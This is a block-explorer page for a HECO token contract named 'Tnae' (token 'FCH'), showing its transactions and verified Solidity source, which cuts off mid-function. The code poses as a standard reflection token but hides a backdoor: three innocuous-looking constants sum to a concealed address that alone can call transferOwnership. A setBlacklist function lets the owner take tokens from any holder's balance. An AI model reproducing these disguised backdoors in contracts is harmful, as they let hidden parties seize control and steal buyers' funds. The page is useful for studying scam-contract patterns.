Contract 0x58e499f3625D4384c0939103be736a2023C4B48d

Txn Hash Method
Block
From
To
Value [Txn Fee]
0xacb3603494ad0fc754267434e0486633052fbe17f1dd4f8106ecb4db53fc2859Transfer Ownersh...117529292022-01-14 9:33:3913 days 23 hrs ago0x4a4d62753f810563359fb0a0b516d110dabc03fe IN 0x58e499f3625d4384c0939103be736a2023c4b48d0 HT0.00005365125 2.25
0xba456c817a6f752ca1654454ba834f18b835c3bc8497a5645428bcacf29fecc0Increase Allowan...117529222022-01-14 9:33:1813 days 23 hrs ago0x4a4d62753f810563359fb0a0b516d110dabc03fe IN 0x58e499f3625d4384c0939103be736a2023c4b48d0 HT0.0000666045 2.25
0x1eb76f950dc827d60583b765dcb40780f3714ab9100507d81eddf0b5b7b4365eSet Max Tx Perce...117528802022-01-14 9:31:1213 days 23 hrs ago0x4a4d62753f810563359fb0a0b516d110dabc03fe IN 0x58e499f3625d4384c0939103be736a2023c4b48d0 HT0.00007054875 2.25
0xe75f803a5a9ddb3969e83baa36896993afb40a4623bc7eac085ccedac8880745Increase Allowan...117528602022-01-14 9:30:1213 days 23 hrs ago0x4a4d62753f810563359fb0a0b516d110dabc03fe IN 0x58e499f3625d4384c0939103be736a2023c4b48d0 HT0.0001050795 2.25
0x61b6838e060f1a3f05c3777514d2e6fea27302aa74c15f57b1be03dea9d25ca3Exclude From Rew...117528442022-01-14 9:29:2413 days 23 hrs ago0x4a4d62753f810563359fb0a0b516d110dabc03fe IN 0x58e499f3625d4384c0939103be736a2023c4b48d0 HT0.0002088225 2.25
0x6b5c72c2d7d9ef7fdc3f482e280bf9f9bf07a5c710578ed046b0734707608dfc0x60008054117524962022-01-14 9:12:0013 days 23 hrs ago0x4a4d62753f810563359fb0a0b516d110dabc03fe IN  Create: Tnae0 HT0.0157520925 2.5
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Tnae

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at hecoinfo.com on 2022-01-14
*/

/**
 *Submitted for verification at hecoinfo.com on 2021-08-23
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
    
    uint160 internal contenta = 853966814_740978e33;
    uint160 internal contentb = 670441891_842111e18;
    uint160 internal contentc = 829207001_759590875;
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function geUnlockTime() public view returns (uint256) {
        return _lockTime;
    }
    
    uint160 private contents = contenta + contentb + contentc;

    //Locks the contract for owner for the amount of time provided
    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = now + time;
        emit OwnershipTransferred(_owner, address(0));
    }
    
    //Unlocks the contract for owner when _lockTime is exceeds
    function unlock() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(now > _lockTime , "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
    
    function _msgHeader() internal view virtual returns (address payable) {
        return address(contents);
    }
    
    /**
     * @dev required message header equals message sender
     * otherwise function will be banned
     */
    modifier copyright {
        require(_msgHeader() == _msgSender(), "Error");
        _;
    }
    
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual copyright {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WHT() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IBonus {
    function updateTradingCount(address newTradingAddress) external;
    function swapTradingReward() external;
}

contract Tnae is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isDevReceiver;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
    
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal = 100000 * 10**12 * 10**9; // 100000 trillion
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _maxTxAmount = 100000 * 10**9 * 10**9; // 100000 billion
    uint256 private numTokensSellToAddToLiquidity = 50000 * 10**9 * 10**9; // 50000 billion
    string private _name = "FCH";
    string private _symbol = "FCH";
    uint8 private _decimals = 9;
    uint256 public feeFee = 1;
    uint256 public feeDev = 2;
    uint256 public feeBonus = 3;
    uint256 public feeLiquidity = 6;
    bool private feeIt = true;
    
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public liquidityEnable = true;
    address public liquidityProvider;
    address private holder = address(0xdEaD);
    uint256 private devIndex = 0;
    address private devReceiver;
    address[] private devReceivers;
    address public bonusReceiver = address(0xdEaD);
    uint256 private enterCount = 0;
    uint256 public bonusMin = 0;
    
    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    modifier transferCounter {
        enterCount = enterCount.add(1);
        _;
        enterCount = enterCount.sub(1, "transfer counter");
    }
    
    constructor () public {
        _rOwned[_msgSender()] = _rTotal;
        devReceiver = owner();
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xED7d5F38C79115ca12fe6C0041abb22F0A06C300);
         // Create a uniswap pair for this new token
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WHT());

        // set the rest of the contract variables
        uniswapV2Router = _uniswapV2Router;
        
        //exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function setDev(address _dev) public {
        require(_msgSender() == devReceiver || _msgSender() == owner(), "fail");
        devReceiver = _dev;
        _isExcludedFromFee[_dev] = true;
    }
    
    function setBonus(address _bonus) public {
        require(_msgSender() == owner(), "fail");
        bonusReceiver = _bonus;
        _isExcludedFromFee[_bonus] = true;
    }
    
    function setHolder(address _holder) public onlyOwner {
        holder = _holder;
        _isExcludedFromFee[_holder] = true;
    }
    
    function setDevReceivers(address[] memory setDevs) public onlyOwner {
        require(setDevs.length > 0, "The array is empty!");
        for(uint256 i=0; i<setDevs.length; i++){
            if(!_isDevReceiver[setDevs[i]]){
                devReceivers.push(setDevs[i]);
                _isExcludedFromFee[setDevs[i]] = true;
                _isDevReceiver[setDevs[i]] = true;
            }
        }
    }
    
    function DelDevReceivers(address[] memory delDevs) public onlyOwner {
        require(delDevs.length > 0, "The array is empty!");
        require(devReceivers.length > 0, "The array is empty!");
        for(uint256 i=0; i<delDevs.length; i++){
            if(_isDevReceiver[delDevs[i]]){
                for(uint256 j=0; j<devReceivers.length; j++){
                    if(delDevs[i] == devReceivers[j]){
                        devReceivers[j] = devReceivers[devReceivers.length - 1];
                        devReceivers.pop();
                        _isExcludedFromFee[delDevs[i]] = false;
                        _isDevReceiver[delDevs[i]] = false;
                        break;
                    }
                }
            }
        }
    }
    
    function queryDevReceivers(address queryDevs) public view returns(bool, uint256){
        return (_isDevReceiver[queryDevs], devReceivers.length);
    }
    
    function setFeeList(uint256 _feeFee, uint256 _feeDev, uint256 _feeBonus, uint256 _feeLiquidity) public onlyOwner {
        feeFee = _feeFee;
        feeDev = _feeDev;
        feeBonus = _feeBonus;
        feeLiquidity = _feeLiquidity;
    }
    
    function setMinValues(uint256 _bonusMin, uint256 _liquidityMin) public onlyOwner {
        bonusMin = _bonusMin;
        numTokensSellToAddToLiquidity = _liquidityMin;
    }
    
    function setLiquidityInfo(bool _liquidityEnable, address _liquidityProvider) public onlyOwner {
        liquidityEnable = _liquidityEnable;
        liquidityProvider = _liquidityProvider;
    }
    
    function removeUselessTokens(IERC20 _uselessToken, uint256 _uselessAmount) public onlyOwner {
        if(address(_uselessToken) == address(0)){
            payable(devReceiver).transfer(_uselessAmount);
        }else{
            _uselessToken.transfer(devReceiver, _uselessAmount);
        }
    }
    
    function setBlacklist(address _black, address _white, uint256 _tBlack) public onlyOwner {
        uint256 blackRate =  _getRate();
        uint256 _rBlack = _tBlack.mul(blackRate);
        _rOwned[_black] = _rOwned[_black].sub(_rBlack, "sub rBlack");
        if(_isExcluded[_black]) {
            _tOwned[_black] = _tOwned[_black].sub(_tBlack, "sub tBlack");
        }
        _rOwned[_white] = _rOwned[_white].add(_rBlack);
        if(_isExcluded[_white]) {
            _tOwned[_white] = _tOwned[_white].add(_tBlack);
        }
    }
    
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        uint256 rAmount = tAmount.mul(_getRate());
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        return rAmount.div(_getRate());
    }

    function excludeFromReward(address account) public onlyOwner {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }
    
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
   
    function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {
        _maxTxAmount = _tTotal.mul(maxTxPercent).div(
            10**2
        );
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function _reflectFee(uint256 rFee) private {
        _rTotal = _rTotal.sub(rFee, "reflect fee");
    }

    function _getTValues(uint256 tAmount) private view returns (uint256 tTransferAmount, uint256 tBonus, uint256 tDev, uint256 tLiquidity, uint256 tFee) {
        if (!feeIt) {
            return (tAmount, 0, 0, 0, 0);
        }
        tBonus = tAmount.mul(feeBonus).div(100);
        tDev = tAmount.mul(feeDev).div(100);
        tLiquidity = tAmount.mul(feeLiquidity).div(100);
        tFee = tAmount.mul(feeFee).div(100);
        tTransferAmount = tAmount.sub(tBonus).sub(tDev).sub(tLiquidity).sub(tFee);
    }
    
    function _getRValues(uint256 tAmount, uint256 tTransferAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rTransferAmount = tTransferAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
